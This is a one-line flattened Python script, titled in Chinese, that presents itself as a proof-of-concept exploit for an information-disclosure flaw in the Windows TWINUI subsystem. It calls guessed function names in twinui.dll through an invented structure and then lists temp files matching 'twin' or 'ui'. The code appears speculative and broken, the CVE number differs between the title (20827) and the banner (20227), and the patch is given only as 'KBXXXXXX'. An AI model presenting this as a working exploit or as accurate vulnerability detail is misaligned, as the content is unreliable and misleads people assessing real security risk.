CVE-2026-20827: Windows TWINUI子系统敏感信息泄露漏洞

# CVE-2026-20827 PoC - TWINUI Information Disclosure # This PoC demonstrates the information disclosure vulnerability in Windows TWINUI subsystem # Note: This is a conceptual PoC for educational purposes only import ctypes import os import sys from ctypes import wintypes # Define necessary Windows API structures class TWINUI_INFO(ctypes.Structure): _fields_ = [ ("size", wintypes.DWORD), ("data_ptr", ctypes.c_void_p), ("data_size", wintypes.DWORD) ] def trigger_twinui_leak(): """ Trigger the TWINUI information disclosure vulnerability This PoC attempts to access the vulnerable TWINUI interface """ print("[*] CVE-2026-20827 PoC - TWINUI Information Disclosure") print("[*] Target: Windows TWINUI Subsystem") # Load TWINUI DLL try: twinui_dll = ctypes.windll.LoadLibrary("twinui.dll") print("[+] TWINUI.dll loaded successfully") except Exception as e: print(f"[-] Failed to load TWINUI.dll: {e}") return False # Attempt to call vulnerable TWINUI function # The actual function varies by Windows version vulnerable_functions = [ "TWINUI_GetUserInfo", "TWINUI_QueryInterface", "TWINUI_GetPropertyStore" ] for func_name in vulnerable_functions: try: func = getattr(twinui_dll, func_name) print(f"[*] Found function: {func_name}") # Prepare buffer for information disclosure info_buffer = TWINUI_INFO() info_buffer.size = ctypes.sizeof(TWINUI_INFO) # Call the potentially vulnerable function result = func(ctypes.byref(info_buffer)) if result == 0: # Success - indicates information was leaked print(f"[!] Potential information disclosure via {func_name}") print(f" Data pointer: {hex(info_buffer.data_ptr)}") print(f" Data size: {info_buffer.data_size}") return True except Exception as e: continue print("[*] Manual verification may be required") print("[*] Check TWINUI temporary files in: %LOCALAPPDATA%\\Temp") return False def check_temp_files(): """ Check for potentially leaked information in TWINUI temp files """ temp_paths = [ os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Temp'), os.path.join(os.environ.get('APPDATA', ''), 'Microsoft', 'Windows', 'INetCache'), "C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\TWINUI" ] print("\n[*] Checking for TWINUI temporary files...") for path in temp_paths: if os.path.exists(path): try: files = os.listdir(path) twinui_files = [f for f in files if 'twin' in f.lower() or 'ui' in f.lower()] if twinui_files: print(f"[+] Found potential files in {path}:") for f in twinui_files[:5]: print(f" - {f}") except PermissionError: print(f"[-] Access denied to {path}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-20227 - Windows TWINUI Information Disclosure") print("=" * 60) trigger_twinui_leak() check_temp_files() print("\n[*] Mitigation: Apply Microsoft Security Update KBXXXXXX")